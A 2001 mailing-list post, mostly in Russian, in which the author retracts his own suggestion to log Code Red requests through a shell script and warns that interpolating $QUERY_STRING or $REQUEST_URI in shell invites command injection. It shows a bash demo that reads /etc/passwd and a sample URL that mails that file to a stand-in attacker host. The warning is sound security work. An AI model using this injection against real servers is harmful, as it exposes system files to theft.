Re: Code Red

[Anatoly Pugachev <mator@gsib.ru>]

On Fri, Jul 20, 2001 at 01:12:03PM +0400, Anatoly Pugachev wrote:
> httpd.conf ->
> AliasMatch ^/_vti_inf.htm* /www/default/h4x0r-message.html
> AliasMatch ^/default.ida$ /www/default/h4x0r-message.html
> $ cat /www/default/h4x0r-message.html
> hello there!
> ps: apache version 1.3.19 , have no idea since when it supports AliasMatch
>     more usefull to write script which will be :
>     echo "coming from address $REMOTE_ADDR with request $QUERY_STRING" | mail abuse@localhost -s "h4x0r5"

короче шел я вечером домой  и подумал : "Ой, что же это я наделал"
смысл сказанного такой, использование переменных $QUERY_STRING или $REQUEST_URI
не совсем безопасно тем более в shell'e , пример программы:

#!/bin/bash
REQUEST_URI="!!!`cat /etc/passwd`!!!"
echo "coming from address $REMOTE_ADDR with request $REQUEST_URI"

мне правда не удалось с первого раза получить /etc/passwd через web , но на консоль вывалился /etc/passwd сразу.
то есть гипотетически URLa http://localhost/_vti_inf.htm?`cat /etc/passwd|mail haxor@evil.com` может привести 
совсем не к тем результатам которые задумывались изначально =)

прошу простить за ошибку.

PS: An error doesn't become a mistake until you refuse to correct it.
-- 
/mator